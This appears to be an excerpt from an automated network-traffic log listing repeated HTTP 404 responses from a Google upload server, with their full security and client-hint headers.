Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTbDWjoKmBbO6aCQISLuiQ7MrgbDoThX2g5OEXAH0mF79-45jnd-0eKfY0oa53So3zpContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:30 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-pkb7fki7ef9BTuVoMbMwvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgT369MaVz7SBWW5aXPsFnbCZnmQdtHAOgoCTmGUNYQfg9o7bHeHXCgJ1M6nT8dQiAzhContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:32 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-4rdDBkOrW1OOWULK-x3XWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQkmAeXebdqmTqi1yeU223BM4MhkOaYxpsVASarLDNC5tgdIZ_60Kp25UC08eSzoWHbContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:34 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-M4JJoc1_47xTWYvAu-RR0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ESL8IBcz6NFrGm2s2pPvteangT7aX8Xgg8YnHLKm3TYyFaCcA00icFnlS0dErSQsauGXYbJoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-Bg-1oG4AlEhkaFS1cJdBFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6PgHZhhCKPNxdk4ClD9AhID3JFGwhxeUAxtV7mFi5rjTzbIAkuvZDjbUqNwFm3ca1ZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-gHANx6DOk3FawaEJdlU1wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgT1onx0nu54vQZxvHlZa-c5JGJbZmkyIJ7uSX93FbYGUarmBgRJeXKLbIVZ6PIexQqMMJIjtowContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-t2NhpWlHafpLxdxe91oQwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4g6KdTmPccLuYOMM569hG1DZJe1bAm1m9iXCBxkn0C8tuc8z6ldQ9gvVohXu8XWciqsQ6iTrsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:44 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-go566t6gLcqa_WBfPSl4AA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC53BIWLhSH4CRJxxJ4Hbf_NKfjSbCjhipd0Ah-OyED6klhWJkMu_7HckAXIDX4XElktzP_BSIkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:46 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-gSRM6WAvQwqHabIx-Bk-lw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgSYBtUHanGvGgUqGRx6T2mX52O4e885EmUmk4qiqieOZsym2WnS6wE_PMrFc71F9cnSContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:49 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-XA6CujBmxbACi7hIrnJZqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6crM6FOApL-R-Y65smVto2_5SBvTfa13w3CwnHoIA_3kNbi7sJvhnVGC19Gy-Hb2oCRtcZ4nkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:51 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-59TWLRx8l9JYw0Xroa2K2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC42INTQcEMOkPrixOQ1TpM2Q_-W7xSQL9l_8_oNYOQkeKU8tftaJ_OhO9fnoeZBSfRTP0CnQYIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-JElhuqk_mMgbZIpgf4Gk5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4-Ffjb-ClqqjuqL-ctkK8AL2hXjDna6vXr_CNlT-URa_xi9qLsdfsZNk1W62B93ukubeQN7yUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:55 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce-W002gmwOkydt7E2wVEkS3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgR6qA1sjjLWHzUZmSgtHyxUeISbuFVdvKDyrpHt_EdQUc6cpAbYJdZg6V6V86vfC7jyZDvzEpEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:39:58 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-R34HUDyU8rT4i4KNzKOzYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgR38k9ekxwDxSdsYR-3m1aY1A_jx5k62kG5pmCTOjq09a_O65wabBT-bFvZkMr9RjdRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:00 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-VAEdNDbi0Lfe6pIvhAfwKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQqfCi4eVRg4oQApnPAvqVklbAgG2t8gSvdf3zcYeoTw_X6y9-27f3x9sn3_2JzfUjyXeaX2zUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:40:02 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-wKWt0sHf383pA4KBnIxx2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
